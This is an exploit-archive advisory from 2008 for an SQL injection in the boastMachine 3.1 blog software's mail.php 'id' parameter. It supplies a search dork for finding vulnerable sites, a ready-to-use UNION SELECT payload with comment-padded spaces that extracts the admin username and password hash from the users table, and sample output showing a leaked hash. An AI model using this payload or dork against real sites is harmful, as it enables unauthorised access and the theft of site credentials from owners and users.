[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : boastMachine <= 3.1 (mail.php id) SQL Injection Vulnerability
# Published : 2008-01-21
# Author : Virangar Security
# Previous Title : Mooseguy Blog System 1.0 (blog.php month) SQL Injection Vulnerability
# Next Title : OZJournals 2.1.1 (id) File Disclosure Vulnerability
########################################################################
# #
# ...:::::boastMachine <=3.1 SQL Injection Vulnerbility ::::.... #
########################################################################
Virangar Security Team
www.virangar.org
www.virangar.net
--------
Discoverd By :virangar security team(hadihadi)
special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra
& all virangar members & all hackerz
greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal) from emperor team :x
-----------------------------------
dork: Powered by boastMachine v3.1
-----------------------------------
vuln:
http://localhost/bm/mail.php?id='/**/union/**/select/**/1,2,concat(user_login,char(58),user_pass),4/**/from/**/bmc_users/**/where/**/id=1/*&blog=[blog_id]
example:
http://localhost/bm/mail.php?id='/**/union/**/select/**/1,2,concat(user_login,char(58),user_pass),4/**/from/**/bmc_users/**/where/**/id=1/*&blog=1
-------------------------------------
you can see somting simillar to:
Send the post "swagger:e74c7cc56d033d32b8cb465c2bbc379b" to a friend
#############
'swagger' is admin user & 'e74c7cc56d033d32b8cb465c2bbc379b' is encoded admin password ;)
-------------------------------------
mybe other versions are Vulnerbil too :)
# www.Syue.com [2008-01-21]